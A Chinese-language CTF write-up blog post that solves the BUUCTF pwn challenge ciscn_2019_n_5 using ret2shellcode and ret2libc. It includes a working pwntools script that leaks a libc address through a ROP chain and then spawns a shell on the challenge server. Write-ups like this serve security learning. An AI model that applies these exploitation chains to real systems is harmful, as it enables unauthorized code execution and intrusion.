编辑
2023-04-25
pwn
00
请注意,本文编写于 638 天前,最后修改于 631 天前,其中某些信息可能已经过时。

目录

ciscn2019n_5
背景知识:
ret2shellcode:
ret2libc:
1.ret2shellcode
2.ret2libc

ciscn_2019_n_5

背景知识:

ret2shellcode:

即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

ret2libc:

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。

一般有三种:

1.程序中既有system也有‘/sh’

2.只有system或者‘sh’

3.两个都没有

下面这题是第三种:

那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。

  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。

  • 所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

    那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址

来自buuctf:

首先检查:

简单图床-EasyImage

发现是64位,一个保护都没开。所以这里我用了两种做法:1.ret2shellcode 2.ret2libc

1.ret2shellcode

先将程序拖进ida64查看反汇编:

简单图床-EasyImage

查看name:

image-20230402180926847

可以知道name在bss段,并且有64字节可写,于是我们可以往bss段写入shellcode,再用gets(text)返回bss段执行shellcode

这里我们可以用gdb调试,用vmmap命令查看bss段权限,我查看是有可执行权限的。

所以有exp

image-20230402181618672

得到flag

image-20230402181724035

successful

2.ret2libc

查看反汇编:

image-20230402181847339

可知gets处有漏洞可以利用

于是我们有以下思路:

1.由于puts已经被调用过,所以puts函数的got表中存放的已经是libc中的真实地址,又由于4kb页对齐原理,根据函数地址末三位可以泄露出libc的版本,从而获取system和**\bin\sh**的真实地址。

python
from pwn import* from LibcSearcher import * context(log_level='debug',arch='amd64',os='linux') io=remote('node4.buuoj.cn',25388) #io= process('./ciscn_2019_n_5') #host = 'node4.buuoj.cn' #port = 25388 elf = ELF('./ciscn_2019_n_5') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main = elf.symbols['main'] pop_rdi = 0x0400713 ret = 0x04004c9 payload_rab = b'a' io.sendlineafter(b'tell me your name\n',payload_rab) #此处**read**函数用不到所以随意填充垃圾数据 #gdb.attach(io) payload1=b'a'*(0x20+8)+flat([pop_rdi,puts_got,puts_plt,main]) #通过rdi寄存器传参,将**puts**函数的got表地址打印出来 io.sendlineafter(b'What do you want to say to me?\n',payload1) puts_addr = u64(io.recv()[:6].ljust(8,b'\x00')) #接收**puts**函数的真实地址(及上面打印出的got表地址) print(hex(puts_addr)) #u64(io.recv(6)[:-1].ljust(8,b'\x00')) print(hex(puts_addr)) libc = LibcSearcher('puts',puts_addr) #利用LibcSearcher工具查询libc版本

这里要注意一点,我一开始接受真实地址用的是 **puts_addr = u64(io.recv(6)[:-1].ljust(8,b'\x00'))**接收,一直报错,*timeout: the monitored command dumped core\n' timeout: the monitored command dumped core'*并且说连接不到端口,整了半天。实际上还是我对于recv()这条命令不了解

puts_addr = u64(io.recv(6)[:-1].ljust(8,b'\x00'))表示接受6字节长度,并将其切片,删掉最后一个字节,左对齐用0补齐。这样就会导致接收到的puts的got表地址变化,从而报错。

泄露libc版本之后就好写了:

python
libc_base = puts_addr - libc.dump('puts') #**计算基地址** print(hex(libc_base)) system = libc_base + libc.dump('system') #**通过基地址和偏移地址算出system的真实地址** print(hex(system)) binsh = libc_base + libc.dump('str_bin_sh') #**同上** print(hex(binsh)) io.sendline(payload_rab) #gdb.attach(io) payload2=b'a'*(0x20+8)+ flat([pop_rdi,binsh,ret,system]) //此处要加一个**ret**进行栈平衡,原因没了解之后会去细看,大致就是因为ubuntu18上的在调用system函数时都要进行栈平衡,防止栈顶被破坏,导致程序崩溃 io.sendline(payload2) io.interactive()

运行之后:

image-20230402202536850

选择‘0‘。

成功拿到shell:

image-20230402202628954

flag:

image-20230402202643138

ret2libc总结:

  • 泄露 puts 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)

作者新手一枚,文章如有错误还请多多包涵。如果各位Dalao能够指出错误,那就再好不过了,红豆泥私密马赛!

如果对你有用的话,可以打赏哦
打赏
ali pay
wechat pay

本文作者:Hyrink

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!